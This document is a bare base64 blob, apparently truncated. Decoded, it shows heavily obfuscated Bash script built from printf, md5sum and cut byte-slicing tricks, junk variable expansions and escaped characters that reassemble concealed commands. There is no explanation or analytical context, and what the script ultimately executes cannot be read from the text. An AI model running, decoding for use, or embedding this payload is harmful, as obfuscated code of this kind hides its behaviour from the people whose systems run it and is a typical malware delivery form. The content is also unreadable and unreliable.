ScnJCdcMTU2JyIke0AvZ1xdNGQ6bz0rfSJ0IiJcZiAgIlx4JCggICAiJHtALH0iICAgIiR7QC8vXjY1MnBcW2YvOTFEKlwidHxyfSIgIHAncicke0AvL1dcWH5SRC85endcfVB9aScnJ24ndCR7Kn5+fWYgJXMgICclUGUtTycgICAke0AjK0gyLVwhfSAgJHsqfn0gICB8ICAgJHtALy9Rd0o3YVZSL25+T0d9ICR7KiUlR1xbK0hXY0VKfSAgIFxtZCcnXDUke0AvL2lQREdTNVwiLypJR3JXKj59c3VtICR7Ki9vaVwpbX0gIHwgJHsqL2E3M0ZQVEN5fSAgIGN1dCAtYiAgICRbICAoKCR7Kl59MiIxIiMwKy0zJHsqI1x9SVZwYX0yIiMiMSkrJHtAL0B0PTNXLyVeVTArcklcXX0zIiMiMSIxIikgICBdLSRbICAgKCgiJHtAL2x4XGRUfkJpLzxrRXMwc30iLSR7Ki8vT3dcIXZuSk9UL2llSng2LX04IyIxIjArMiIjIjEiMSIpKyIzIiMxMCIke0AvOS50O3lTRn0iMCkgICBdICAgJHsqJSUuWnk/fSAgICR7QF5efSAgKSIgICIke0AjKlJkJHBcKTdyfSIgICA7ICAgJHsqI0g1Vz99ICBwJ3InaSIke0BefSJudCQnXDE0NicgIlx4JCggJHsqLy9IZjI+LzZWM1wifSAgJHtAfn59cCIiXHInJyR7KiUlclwhZFwoQH1pbid0J1xmICAlcyAgICd7MCpiMWhXJyAiJHtALCx9IiAgICR7KiUlLlpEOX0gfCAiJHtAJVxbMkZhJFFcYGF9IiAgXG0keyosLH1kJzUncyR7Kl59dSdtJyAkeyojXChtPWhLRnx9ICB8ICR7QCwsfSAgJHsqLCx9IFxjdXQgLWIgICQoKCAgKC0oLSgyIiMiIiR7QCNEWS5+VG99IjExKzEyIzE1KSsyIzEiMSIke0AlJTBNYXJGSH0wKSkgKSktJFsgKCgiJEAiLSR7KiUlcT1Gd3ZBM305IzEwLTIjJHsqLy9CXCFUJD1WfTEiMCIwKSsyIzExIjEiMDApICAgXSAgICR7KiwsfSAgKSIgICAkeyovREs9LmpRLGgvc1x7U1wiTSV9ICAgOyAgJHtAfn0gICR7Ki92dVwoVi9xTyZcIj5qfXAkJ1x4NzInJCdceDY5bickJ3RceDY2JyAgIlx4JCggJHsqLy9PXClce3xLLyxcMzNKSCRkfSBwcmludGYgICVzICAgJ2xrSkg9JyAke0BeXn0gfCAgJHtAL2U5XHtaR30gJHsqLy9WUiRpYj19ICAgJ20nJCdkXHgzNSckKnMnJ3UnbScgJHsqJSUrTl4+Ln0gIiR7QC8+Mks/eGxrfSIgfCAkeyp+fn0gIFxjIiR7QC8vZ3VDX25cIlJ9InV0ICAgLWIgJFsgICAoKC01IzEiMiIrJEAtIjMiIiMiMSIwIikrNTAjaykgXS0kWyAgICgtKC0oJEA1MSMiZyItMyRAIzEke0AvL1whfkw4UW5YOS83UUEqQX0wKSsiMyIiMiIkeyp9IzIpKSAgXSAgICR7QC9tazZcW1x9L0heVHZlXGBrfSAgJHsqL0dxXH1ZL2g9XCE1VX0gICApIiAgICR7QC8vWHFALjMvQlBcIS13dFM6fSAgOyAgJHsqL1woeVx7TFZlNy9CXFsjfFwoXCk4fSAgJCdcMTYwJ3JpXG4idCJmICJceCQoICAgJCogICJwIidyJ2knJyJuIicnJHtAJSUlaVpGZVxgPk99dFxmICAlcyAgJztkbyhnbScgICAke0AsLH0gIiR7QF5efSIgIHwgICAkeyosLH0gICAiJHtAXl59Im0kJ1wxNDQ1J3N1bSAgICIke0AsLH0iICAgJHsqJWsuXChDXGA1fSB8ICR7KiMjRkdTU30gICIiJ2MnJyd1XHQgICAtYiAgJFsgKCgtJHsqL2xcezsmPH02NCNhKjUjMTMpKzUjNDIwKSAgIF0tJCgoICAoKCI5IiMxMiotNSIyIiMxKSsiNCI5IyR7QCM8UCZZfUcpICApKSAgJHtALy9lZVwpLn0gICkiICR7QCV+JExCSUpHfSAgOyAkeyojekNAczZBVX0gICBwJ3InJHtAXn1pIm4iJHtAJTlBWDhQfXRmICAgIlx4JCggICAiJHtAJVN1YnlRPXdcKH0iICAgIiJwXHIiImkiIm50ZiAgJXMgICdGVFBeJyAgJHsqI1x7UFJNfSAgfCAgICIke0B+fSIgIG0iZCI1IiIkJ1x4NzN1bScgIiR7QCMjYXdcNHpKMGF9IiB8ICAke0AlWipcYC5lfSBjdXQgICAtYiAkKCggKCgiLSI1JHtALCx9MCIjImYrMiIzIiMiJHtAXn0iZCkrMzcjaCkgKSktJCgoICAgKC0oLSg0IjAiIiMiai0tNCIjIjEiMSIpKzIiIyIiMSIkeyojSU8uLCw9fTAiMCIkeyovL1dwKlpMXCIkfTApKSAgKSkgICAiJHtAJSUsM1Z1fSIgICApIiAgICR7QC9BZ2lsWkd9ICAmJiAiJHtAIyMlK3pcezF9IiAgIiR7QH5+fSIgICAiInByImkiJ24ndGYgICJceCQoICAgIiRAIiAgICR7KiwsfSAgIHByaSQnblx1MDA3NCcnZicgJXMgICddRUgoMX1cJyAgIiRAIiAgfCAke0BeXn0gICBtJCdceDY0JzUnJ3NcdScnbSAke0AjcT1cIVheTzZ9ICIke0AvLzt4bDJzXlQsL19eMWdYfSIgfCAgICR7Kn0gICAkeyojIy5nUFwhVX1jJCd1XDE2NCcgIC1iICAgJFsgKC0oLSgtMyMxMSoiJHtALH0iLTMiJHtAJSV3bGZFNn0iIzEkeyovLyZDPGkvbVx7S3p+Y30wKSskeyFAfTMjMTApKSAgIF0tJCgoICgoMzkjMSo1NCIjIiIyIikrMyR7KiwsfSMyMikgKSkgICAkeyEqfSAgKSIgICAkeyojOnN3ZndhVH0gICR7KiwsfSAgOyAgICR7Ki83V3xUVm45Wn0gICAkeyovL0NqaEdjP1MvYUxRRn0gJHsqfXAkJ1wxNjJcMTUxJ24ndCdmICJceCQoICAiJHtAL3BQfjY5fSIgcHJcaW4keyp+fn10ZiAgJXMgICdnRSplJyAgICIke0B+fn0iICR7Kl5efSAgIHwgICAiJHtALy8mY3Ikd30iICAgbWQiNSIiIiR7Ki9NUHIzJCtZfXMkeyosLH11JHtALCx9bSAgJHsqJSVcfUplPiYqfSAgfCAgJHsqLH0gICAkeyolNnVmK30gICBjdXQgICAtYiAgICQoKCAgKCgzIiMiIjEiIjAiKjQiNCIkKiMwKSsiMyIyI2QpICApKS0kKCggKC0oLSgiNSIwIyR7QC9SJnxEQC9NN1x9NDNNfXMtIjQiIjUiJHsqJSVPdyRYfSNiKSsiMyIkeyp+fn0jMTApKSAgICkpICAgJHsqIyNcOzQyPTZ9ICAkeypeXn0gICkiICAiJHtAXl59IiAgJHsqJVwpP1woal8ua30gOyAgIiR7QC8vb1dsbGpcXVxdL1IqNFx9fSIgICR7KiwsfSAgIHByaSIke0AvRTh+NE8mfSJuJyd0JHtAfWYgICJceCQoICR7QF5efSAgJydwJydcclxpJCduXHg3NCciImYgICAlcyAgJ3w8I2FLcj50JyAgICR7Ki8lSm5tSi94alxnfSAkeyosfSAgfCAgICIke0B+fn0iICIiJHsqLH1tXGQnJzVzJHtAfn11Im0iICAke0B9ICAkeyovLyUuND4vWVwoTS19IHwgIiR7QCMjLVxbc1x7RS59IiAkeyosLH0gICAnJ2N1J3QnICAgLWIgJFsgKC0oLSgiNiIiIyIxJHsqfn59NCsiJHtAXn0iMyIke0BeXn0iNiIjIm8pKzEiJHtALy95XHswTUl1b1whfSI4IyJkIikpIF0tJCgoICAgKC0oLSgyOCIke0AvYyQ9NSxuXCJsL3ouXHtAXCFcIn0iIzE5LSIke0B+fSItMjgjMSI5IikrJHsqfn59MTMjNDApKSAgKSkgJHsqXl59ICkiICAkeyovL1woXn5wLyNUQEIrfSAgICYmICAke0B9ICBwIiJyaVxuJ3QnJyckJ1x1MDA2NicgIlx4JCggICAkeyosfSAkeyovU01cIlFoVnN9ICAgcHIiIlxpbiIidCIiZiAlcyAgJ2tsTlMnICAkeyovL3w+bTZ9ICB8ICR7Ki9+VVNcXUg7Mn0gICBtXGQnNSdzdSQnXHg2ZCcgJHsqJUtcIlAlMGh9ICAgfCAgJCogICAiJHtALy9NS1wheC5JXi9xOmlcW2NcYDd9IiAgICJjInUiJHtAIzw8QGlRcjZ9InQgLWIgICAkWyAgKCgtMyMke0AvWHMuNUgkb2gvXz5hWn0yMioiMiI4IyR7Kn0wKSsxIjgiIiMiaCkgXS0kWyAgICgoIi0iIjMiIiMiMSR7QCNcKUBzT2F9MS02IjMiJHsqXl59IyR7KiM5PFUjXGBHNTx9YSkrMjQjMSR7QF5efTgpIF0gJHsqXn0gICkiICAiJHtAIyNhJUc8SU54fSIgJHsqI2g2aVR9ICAmJiAke0B+fn0gICR7KiNQRVwhLVwhfSAgcCIiclxpbiR7QC8vTDRwbVxdd310ZiAgIlx4JCggICAiJHtALy9cTWk/XCF1ZX0iIFxwJHsqL1hrMUAvQTVfbFNkeH1yaW50ZiAlcyAgJ21cXHxWJyAke0AlWmFEOyNOYn0gfCAgICR7QCx9ICAgbSIiJCdcdTAwNjQnNSJzIiIidW0gICR7Ki9yaVk4NlxGfSAgJHtAJSVNTyZifSAgfCAiJHtAL291S3E3LjBcIS9EXzc2UTtRZH0iICR7KiwsfSAgICQnXHUwMDYzJycndXQgIC1iICAkWyAgICgoMTIjMSo1MiMwKSszIyIyIjIpIF0tJCgoICAgKCgkeyEqfS00NCMyLSR7KiMjTTE9M3RvfS0yIzExMSkrNCMkeyovI0NRWUN9MSIwIikgICApKSAkeyFAfSApIiAke0B9ICAgJHsqLy9cKUBSMy9Abj5oUXFJYn0gICYmICAgIiR7QCMjU2szQ2p9IiAgICR7Ki8vXmQyeSRYPUovfiU1JjxEfSAgICR7Kn59cCIke0BeXn0icmkkeyp+fW4kJ1x4NzRmJyAgIlx4JCggICAkeypeXn0gcCQnclwxNTEnXG50JCdcMTQ2JyAlcyAgICdCakwpZCp4JyAkeyp+fSAkeypeXn0gIHwgJHtALCx9IG1cZFw1JCdceDczJyd1J20gICRAICAgJHsqfn59IHwgJHsqfn0gImMiJCd1XHUwMDc0JyAgLWIgJFsgKCg0MSMyLSItIjQjMTEpKzEkeyojI1RGQlB9NCNiKSAgXS0kWyAgICgoLSRANCMiMiIiMSIwKzUzIyIkQCJ6KSsxIjYiIzEkKjQpICAgXSAgJHtAfSAgJHsqXl59ICApIiAgJHsqI0ZCPFpfdX0gICAiJHtAfn59IiAgIDsgICIke0AvL0lpeGw+c2IvJE1qYX0iICR7Ki9VM0Utd30gICBwXHInJ2ludCdmJyAgIlx4JCggICAiJHtAXl59IiAgJHsqLH0gICAkJ3BceDcyJyJpIiIke0AjI0VOUVxgZy5ce30iblx0ImYiICAlcyAgICd+SG5dK3ksKicgICR7QC9AVnk+N2t9ICQqICB8ICAgJHtAL1RkUzlTJC9wYixEMn0gICAiJHtAL1woP2l2fSIgICAkJ1x1MDA2ZCdkJFsgICgtKC0oNTMjYS0tIjIiIzExKSsiNyIjMSR7Ki86RlRzWn0xKSkgIF0nJ3N1bSAgICR7KiUlXFtcW3IwSVBPfSAgfCAgJHtAJSVcKXQ8Sn0gICIkQCIgIGMnJ3UnJyQnXHUwMDc0JyAgLWIgICAkWyAgKCgke0AlPEZOS3V9LTYxIiMicCskeyovL21MXChFfTQiNiIjcikrMSIzIiMkeyEqfTIiMSIpICBdLSRbICAoKCI1IiIyIiNyKy0iJEAiNiIke0AsfSIjJHsqfn59MiIxIikrMTcjImciKSBdICAkeyovL1lqYj56Li4vJFZvcjswfSAke0AsfSAgICkiICAkeyosfSAgICR7QC9yPmVSQjhcKC9vUVA9YWR9ICAgOyAgICR7Kix9ICcncCJyIlxpbicndFxmICJceCQoICAkeyovL01oYlFaNCNkL0JmST59ICR7KiUlTFxEXGB9ICAgcHIkJ1x1MDA2OScnJyQnXHg2ZSd0J2YnICVzICAnN3dxUycgJHsqLH0gICR7KiUlb2s8WGhzYX0gICB8ICR7KiUlTXhJOUZUOC59ICAkeyp9ICBcbWQkJ1x1MDAzNSciInMnJyIke0B+fSJ1bSAgICR7Kl59ICAgfCAgIiR7QCVheDdcIkN9IiAgICR7Kn0gICAiImNcdSJ0IiAgLWIgICQoKCAgKCgtNiIjIiIxIiokeyolJSVWOkp9LTIiMCIiIyIyKSs0IiR7QC8vZVVNXCh9IiMiMSIwKSApKS0kKCggICgoIi0iIjIiIyIke0B+fn0iMSR7QCM9WExPSlI7fTAiMCIrIi0iJHsqLH0zIzEyKSsyIzEiMCIwIjAiJHtAJTJcXXBQKjtyfTApICAgKSkgICR7IUB9ICkiICAgJHsqXn0gICIke0B+fn0iICAmJiAgICR7QC9ScXR0Xi9sVX5jRUJ9ICAgJHtAXl59ICAkJ1wxNjByJyIiJCdcdTAwNjknJHsqXn1udCdmJyAiXHgkKCAgJHtALy9sflRWPlE7Ni9tXChcKHx9IHByaW5cdCIiZiAgICVzICAgJ3t1PSEqJyAkKiAgJHsqfn0gfCAiJHtAL1EqJiMwfSIgJCdcdTAwNmQnJydkIiI1IiR7QF59InMkJ1wxNjUnbSAiJHtAXl59IiB8ICAgIiR7QCwsfSIgICAkeyp+fSAnYydcdSR7QF5efXQgLWIgJFsgICAoKCItIjUke0AsLH0jMS00IjgiJHsqI1xgPmxAWHx9I3QpKyR7Kl59MjciIyIyNikgICBdLSQoKCAgKC0oLSgyMSIke0AsLH0iIyIyIjYtLTUiJHtAI0dlRnV9IiMxJHtAXl59MCkrMTMjJHtAJUZzJmZ9MTkpKSAgICkpICR7Kn0gICApIiAiJHtAJTlcfUg2fSIgICAmJiAgJHtAfn59ICBwcmkkeyEqfW4nJ3QnZicgICJceCQoICR7Kn5+fSAgJ3AncicnJHsqXl59aW50ImYiICVzICAgJylLbH5EKCcgICR7Kl5efSAgIHwgICR7Kn5+fSAkeyolVlxgP1ArfSAgICdtJ2QiIiQnXHgzNSdzJyd1bSAgJHsqXl59ICAgfCAgICR7Ki8vNFlHbFpCfSAgIiR7QCUlaGN3XHt4PH0iICAgY1x1JHsqLy87ZGRePCYvbTY6MH10IC1iICRbICAoKCItIjQ5IiMiYSsiNCIwI3EpKzUjMTApICBdLSRbICgoLTUkeyolP25RbVwhSX0jMSIwIiokeypeXn0tNDUjMSkrMTMkeyFAfSMxNCkgICBdICAiJHtALzZjSE49XFx9IiAgICkiICQqICAiJEAiICAgJiYgICAkKiAgICR7Kl59IHByXGknJ24nJyR7Ki8vU1x9Y34xfXQiImYgICAiXHgkKCAgICR7Kix9IFxwciIke0BeXn0iaW50XGYgICVzICdZI106WCcgICR7Kn59ICAgIiR7QF5efSIgICB8ICAke0AvR2hmMUwvbXosbzEyT0x9ICR7QC8vJGVOMWsvLFw8TWV9ICAgbSJkIlw1c3Uke0BeXn1tICR7Kix9ICR7KiwsfSAgIHwgICAke0AvaS1Wc3x2L1dJWWppfSAiJHtAL1wtPlxdfSIgICAkJ2NcMTY1J3QgLWIgICAkKCggICgoLSR7Ki9AQz50PH0yNSMiMSJsKy0iNCI2I2kpKzUjJHtAL25Rfj9tK3g0fTMzJHtAJWckeVU3Mn0zKSAgICkpLSQoKCAoKCIxIjkjYyotNSMiJEAiMTMpKzYwJHsqLy8tTVZrblgtdH0jMiR7Ki9cYE9xUlV9NikgICkpICR7Kn5+fSAgJHsqIyM3XClcYHVcIjFiYX0gICApIiAgIiR7QH5+fSIgICR7Ki8vVVVabHxcKH0gICA7ICAgIiR7QCx9IiAgJCdceDcwcidpJ24nXHQnJyJmIiAgIlx4JCggICAkeyojI0NNbm18XFx9ICAke0AsLH0gJHtALH1wJHtAL3Vmek0jYmgtfXIkeyosfWkibiIkJ1x1MDA3NCckJ1x1MDA2NicgJXMgICAnRypBfWMyNj0nICR7KiU7aV9OOX0gfCAgICR7QCVuXGBjPndpfSAgJHsqI3hNcXl9IFxtZDUicyJ1J20nICR7QCUldGYsMFx9fSAgICQqICB8ICAiJHtALCx9IiAnYyckJ1x1MDA3NScidCIgICAtYiAgJFsgICAoLSgtKDIiNSIjJHtAXl59Mi0tNSR7Ki9nQ0NpR3B9MSMkeypeXn1nKSskeyosLH0zIyIxIjIpKSBdLSQoKCAoLSgtKDIiIyIiMSIxKzIke0BefTkjJHtALy9HXGBVTD9cXVp9aSkrMiIjIjEiJHtAXl59IjExKSkgKSkgJHsqJThNPEdpJWx+fSApIiAkeyolbEFTQX0gICAkeyovL0w7fl5XL0hcKWRFfSA7ICAke0AjIyVQSCN9ICAkQCAgIHAiIlxyImkiXG50XGYgICJceCQoICAgJHtALCx9ICdwJycncmkke0AsfW50ZiAlcyAgJ0x5OmtSPScgICAkQCAgICR7QC8vaTtYYi9cInArRzhzXChefSAgIHwgJCogJHtAJVpFbVxcfSAiJHtALCx9Im1kNSQnXHUwMDczdW0nICR7Kn59ICB8ICR7QC9zSWNSXH10ay9SdWNTVSt9ICAgJCpjInUidCAgIC1iICQoKCAoLSgtKDM4I3otIi0iIjIiIyR7QC8vKl5xYkwrQ2h9MSIwIiIxIikrIjYiMiIjImgpKSAgICkpLSQoKCAgKCg1IiMiMSR7Kl59MCotMiMxIjEiMSkrNCR7Kn03JHsqLCx9IyIxImMpICkpICAgJHsqLH0gICAkeyojI2xcIlpYXGwkaX0gICkiICAkeyp+fSAmJiAgICR7KiUlcDZOSXF9ICAgXHByIiJpbiQnXHg3NCdmICAiXHgkKCAgJHsqJSUyNl5YZSN+fSAiJHtAfn59IiAgIHByaSIiJCdcMTU2JyQnXHUwMDc0J2YgICAlcyAgJz1AKihOJyAkeyosLH0gfCAkeypeXn0gICIibWQiIiR7KiVce15ITD10a301c3VtICAkeyojI3I9Ln5SdH0gJHtAXl59ICAgfCAgICIke0AjI3VGXzwjYUEzfSIgICR7QF5efSAgIiIkJ1x1MDA2MyciIlx1IiR7QH59InQgICAtYiAgJFsgICgoMzMjYy01JHsqXn0jMTApKyR7QH59NCIxIiR7KiwsfSNtKSAgIF0tJFsgKCgiJHtAIyNSPlxbR2t9IjMyI2YqIiR7QF59IjI4JEAjIjAiKSszIzEwMTApICBdICAgIiR7QF59IiAkeyojaiVuUTF0JX0gICApIiAke0B+fn0gICR7Ki9IVFx9Xi9oM1xdcX0gICAmJiAgICR7KiwsfSAkeypefSAgIHAkeyp+fXIiIiQnaVx4NmUndCIiZiAgICJceCQoICAgJHtALH0gICAkeyovXF1FLHEvbVwibDR9ICAgcHIkJ1x1MDA2OScibiJ0ZiAgICVzICciOT5OSUJmJyAke0B9ICB8ICAiJHtAfn0iICAgbSdkJyQnXDY1JyJzIiQndVwxNTUnICIke0B+fSIgICIkQCIgfCAgJHsqLy9pTUp8T30gICAkeyosLH0gJCdcMTQzXDE2NScke0B+fn10ICAgLWIgJFsgICgoLTYiIyIxMysiNiIjIjEiMCkrMTMjYykgICBdLSRbICgoLTI2IzIrLTgjMSR7QC9PNlx7RXlLfTApKyI2IiIke0BeXn0iNCIjImspICAgXSAgICR7QC8vUFFJXHtIXyp9ICAgJHtALy8kbUpEaS9cKEZZLn0gICApIiAgJHsqL0h1XChZd30gICYmICR7KiMjejw1LittfSAgICIke0B9IiAgcCIicmludCcnZiAgIlx4JCggICIke0AsfSIgICAiIlxwJCdceDcyJyR7KiUlSkcsTSx9aW50XGYgICVzICAnMF5BTX5sJyAkeyp9ICAiJHtALy9acC4yWnd9IiB8ICAgJHsqLy9DemtcYH0gICAiJHtAL3VQNlwoJnxcIS9TU2hIfHd9IiAgIG0nJyR7Ki8vZD9YSUNIfWQnNScnJyR7Ki8vV0VfXlxdWXMkL35EbG1cYHg1bn1zXHVtICR7IUB9ICR7IUB9ICAgfCAgICR7Ki8vWDNCMVxbbGx9ICAnYycidSIiInQgICAtYiAkWyAgKC0oLSgxNCMyZC0iMyI3I2IpKzUjIjEiMykpIF0tJCgoICAgKC0oLSg1IzEyNC0iNSI5IiMiYikrIjIiIiMiMTAxKSkgICApKSAgIiR7QCUlNWxCYSZQfSIgJHsqLH0gKSIgJHtALy94MElyUWM7Lzp8bGp+fSAiJHtAXl59IiA7ICAke0B+fn0gICAicCJyXGluXHRmICAgIlx4JCggJHshKn0gIHAkJ3JceDY5biciIiR7IUB9dGYgICAlcyAnQ3lHImBvJyAgICIke0BefSIgICB8ICR7KiUlVitRMj1IKjJ9ICAgJHsqXn0gbSQnXHUwMDY0JyR7QH01XHMke0BefXVcbSAgJHsqLy9neFVfdVxcfSAgICR7QH59ICAgfCAgICR7ISp9ICR7QC9cYEpQRFV9IGN1dCAgLWIgJCgoICgoJHsqLy9BWC5LPGUvM1xdUlwoRFRjfS0zIyR7KiwsfTIwKzMjMTEpKyI0IiMxMikgKSktJCgoICgoLSR7Ki88XCg6bi4tNk0vaEdtZlZ+a1wpfTQxIyIxIiotOSIke0AvL1woNXVeZWRmfSIjMSkrIjMiIzExKSAgKSkgICRAICAiJHtAfn0iICApIiAiJHtAIyM6NDJ5QVx0fSIgICAmJiAgIiRAIiAgICR7QC9kflwhQX0gcHJpXG50ZiAiXHgkKCAgICIke0B+fSIgJyckJ3BcMTYyXDE1MW4nInQiIiJmICAlcyAgJ2VfI0AnICAgJHsqXn0gICB8ICAgIiR7QCwsfSIgICIke0AjI2JcISwqOn0iICAgbVxkXDUkeypeXn1zInUiIm0iICR7KiUxfFx9U0RzfSAgIiRAIiB8ICAgJHtALy9cKEZAUn5RfSAkJ1wxNDMnIiIkeyp+fXV0ICAgLWIgICAkWyAgICgoJHsqJVx9TFwpTSNSfS0iNiIjNDArJHtAIyxrXF1CfTM2IiMiIiR7QF5efSJnKSszOCIjIiR7Ki9oWFwpXChmL2d6Vyx9dikgIF0tJCgoICAgKC0oLSg0JHsqJTJAUyRCWkZofTAjby0ke0AsfS00IzEwKSsyIzEwMCkpICApKSAgIiRAIiAgICR7Kn5+fSApIiAgJHsqLy81NGdmL1pQPFwhSH0gICAmJiAiJHtAL0JcIlx9P3RfOVEvdS49aW9MPX0iICR7KiNcImNKaH0gICBccCQnXDE2MicnJ2luIiJ0ZiAgIlx4JCggICAkeyEqfSAgJHtAfSAncCcnJ3IkJ1wxNTEnXG4iInRcZiAlcyAgJzlDcWUnICR7QC8vRVwiXCkva0FrS1woQTh9ICAgfCAgICR7KiViWFdNfSAkJ1x1MDA2ZCckJ2RcNjUnXHN1IiR7QH59Im0gJHsqXl59ICAkQCAgIHwgICAkeyp+fSAgIiR7QCMxWSQ7fSIgICcnY3V0ICAtYiAkKCggICAoKC00IzEzKiI0IiR7Kl59MyMiMiIpKyI0IjkjInYiKSAgKSktJFsgKCgtIjMiIyR7Ki8vbW4kJXd9MTAqMiMiMSIwMCkrNCI5IiN1KSBdICR7Kix9ICApIiAkeyosLH0gICR7Kix9ICAgJiYgICAkeyolJVdcKXVLcH0gICAiJHtALy86WVB8JiZcXH0iICcncHIke0B9aW4idCJmICAgIlx4JCggJHsqL1oycTR9IHByIiJpIiR7QH5+fSJuJCdcdTAwNzRmJyAlcyAgJ0lTQW1iJyAiJHtAL0QsU091dUQ0L0FoU3lcIn0iICAgfCAgICIke0BefSIgJycnbSdkNSQnXDE2Myd1bSAgJHtAfn59ICB8ICAke0AlJU1nS2J9ICBcY3UiInQgLWIgJFsgICgtKC0oNCMxLS0xOSMyKSsiMiIiMCIiIyIxKSkgICBdLSRbICAoLSgtKCI0IiMiJEAiMSIke0AjIzV6OHdmWGN9IjEtIiR7QCUlXCJ1UytffSIxIiR7QH59IjEjMikrNDAjMCkpIF0gJHtAJSVxK1x9eVxgS30gICIkQCIgICkiICAgJHsqL1woRlxbNnFGcEd9ICAgOyAgJHtAIyNORU1WR1xgU30gcHIiImluXHRmICAiXHgkKCAgJHsqL0I9X21ML3dcYERyaz0mZH0gIHBcciIiaW5cdCQnXHUwMDY2JyAgJXMgICdUeXJtc0ZnJyAgJHsqL0dcKURDXHtcISp9ICAke0Ala2NSNTl2fSB8ICAiJHtAfn59IiAke0AjN0Y/Kj40OlxgfSAgIFxtJ2QnNXMkJ3VcdTAwNmQnICIke0BefSIgICAiJHtAfn59IiAgfCAgICR7KiwsfSAkJ1wxNDMnIiIkeyolJVlYOiVzbVVvfXUnJyJ0IiAtYiAgICRbICAoKCR7QCMjLTMlTX0tIiR7QCwsfSIyIzEkeyosfTAwMDErLTgiIyIxMCkrOCIjIjQzKSAgIF0tJCgoICgoMiR7KiwsfTUjIjEiKi0keypeXn01JHsqXl59IzEpKyI4IiMke0AlMj8scHxJPn0xNCkgKSkgICAkeyojI0dAOEt9ICAgJHtAL3d3VVZufSAgKSIgJHsqL3krOWdhfSA7ICAgJHsqfn59ICAgJHsqL007XChGdDJIfSAgcHInJyIke0AvVmtva2J9Imkke0AlQ1VIOn1uIiJ0IiIkJ1wxNDYnICJceCQoICR7Kn59IHByJ2knbiR7KiMjUkJcKXh9dCIiJCdcMTQ2JyAlcyAgJ286X0xvXHAnICAgJHtAXl59ICAgJHtAIyNITmVHOStefSB8ICAgJHsqLy9Tdjc5Wnh9ICAgJHsqLy9eWmI8fSAgbSIiJHtAfn59ZCQoKCAgICgtKC0oLSR7Ki9fI3Jce0AvVy5GPX0yIiR7QC9MLlwpdS9RXHtCXF1GfSIjJHtAL1x7V1x9Mi9pXCkjan0xMS0tNiIjIjEzKSszIzEpKSApKSIiJCdcMTYzJyJ1Im0gICAiJHtAXn0iICR7Ki8vbDhnb1V9ICB8ICAkeyFAfSAgYyQndVx4NzQnICAtYiAgICQoKCAgICgoIiR7QCUlcjVcXVImfSItNSMxIjAiLTYkeyolJCpcW259IzEyKSsxJHsqJXxmQVxXXGBAYX0zIiR7QCwsfSIjMSR7Ki8vTjBcXVxgLm59OCkgKSktJFsgICgoMjYkKiMwKiR7IUB9NiQqIyIxIikrOSMxIjAiKSBdICAkeyp9ICApIiAgICQqICAkeyFAfSAgICYmICR7QH0gXHAkJ1x1MDA3MickeyojI3lZQyZCI31pXG4iInRcZiAgIlx4JCggJHtAXn0gIiR7QH0iICAgInAiJ3InImkiJycibiIkJ1x1MDA3NCciZiIgICAlcyAgICdAYkRvJT0+WCcgICR7KiUlYm9BKm04fSAgfCAgICIke0B+fn0iICAkeyolJS5uVl9cKGIjQX0gJCdtXDE0NCciJHtAJSVeWH5kXH19IjVzXHUnbScgICAkeyojIzVGUzt3fSAgICQqIHwgIiR7QH59IiAgYyR7QF5efXUkeyosLH10IC1iICQoKCAgICgoIi0iNCIke0AlJXo3JCNpfSI1I2UrLTQkeyolJT5jWTYmRFx7Vn0zIiMiImMiKSs1NCMiJHtAfSJFKSAgKSktJCgoICgoLTQiIyIxIiR7QF59IjEiJHtALy85KzNLWiZ9IjMrNDEjaCkrIjgiIzI1KSApKSAgICR7KiUlSmVyd2xxWWh9ICAgJHtAL1NXXCl3YT92L1woelNQZGE7fSAgICkiICR7KiwsfSAgJHsqLCx9ICA7ICAgJHsqLy91XF1SXFt9ICBwXHIke0AsfWlcbicndGYgICJceCQoICAkeyojI2ZfcXV9ICAgJHsqLH0gJCdwXDE2MiciaSInbid0JHsqXl59ZiAgJXMgJz1pXVAnICAkeyolJVxgSFwufSB8ICAkeyp+fn0gICBcbWRcNSIic3VtICAkeyolbU1pXDZcI30gJHshQH0gfCAgJHsqJVU9aj55XF19ICAgIiR7QCMjST89UX5VVH0iICBjIiJcdXQgLWIgJCgoICgoOSMwKiR7Kn0tIjIiMSMxKSs5IzEwKSAgKSktJFsgICAoKDUwJHtALH0jMS0keyp+fn0yJHtALH0jMTAwKSs0IjMiI2QpICAgXSAgJHtAL3lTXHtKK2Z1LyRENkZ8K30gICIke0AsfSIgKSIgICR7Ki8vSU9WXCgvVUtBVGJ9ICAgOyAgJHsqI3MrWTt9ICR7QCx9ICJwIiIiJ3InJCdcMTUxbnQnIiJmICAiXHgkKCAkeyolJTZfYkp9ICAkeyp+fn0gICBwJydyJCdcMTUxJycnXG4nJyR7Kix9dCcnJHsqXn1mICAlcyAgJytTbEAnICR7Kn0gfCAiJHtAIyRubkA3RCVpfSIgICR7Kn5+fSAgICQnXHg2ZCciZCIkJ1x1MDAzNScnJ3N1J20nICR7IUB9IHwgICAiJHtAJSU4PHJ4Jm59IiAgICQnXHg2M3UndCAgLWIgICAkWyAgICgoLTU0IyJpIi0xIjUiIiMiMSR7Ki9UeVxXfTApKyIkQCIzOSMkeyovL01EbD9cfSs3L2V5ZH53Pn0xJHtAJWVMXF1WIzpran1uKSAgXS0kWyAoKCR7IUB9LTIkeyojZFR8fDx9NyR7Ki8vUWpTV3J1cH0jaS0keyolJTBcN3M1fTQiJHtAfSI3I3MpKzIiOSIjMmkpICBdICR7Kn5+fSAgICkiICR7Kn5+fSAiJHtALH0iICYmICAke0BeXn0gICAiJHtAIzxkMyxcW1Z9IiAgIHAkJ1x1MDA3Mlx1MDA2OW50JyQnXHUwMDY2JyAgICJceCQoICAke0AjI34tUlZybV59ICAgcCIke0AjIz4ldmomLTszfSJyaSIibid0JycnZiAgJXMgICAnWm9iXndXMUonICAiJHtALCx9IiAke0AvXHtYUDUrVzl1L3VYOnI9dT19IHwgICAkeyovLzVPdk5FXCIvb1woMWpFdW9ce30gIG1kIjUiXHN1bSAgICIke0AsfSIgfCAkKiAgJHtAfWMkeypeXn11dCAgLWIgICAkKCggICgoLSIyIiMxIiR7QH0iMDAqMiMxMSkrJHtALH01IjgiI3QpICApKS0kWyAoLSgtKDUiMSIjZyszOCNiKSske0B9MiMiMSIkeyp+fTAwIjEiKSkgXSAgJHsqLy9TRUlIL0FYVlxbSX0gKSIgICAkeyovL1lZcisvXChtNVJDdnF9ICYmICAkeyojbVB8a0B9ICAkQCAgJCdwXHg3MmlcdTAwNmUnXHQiImYgICJceCQoICAgJHsqfn59ICBwcicnaScnIm4iJCd0XDE0NicgJXMgICdQZ3ZkJnIhJyAkeyp9ICB8ICAiJHtALy9LXHtrN259IiAgICR7KiMjaFl0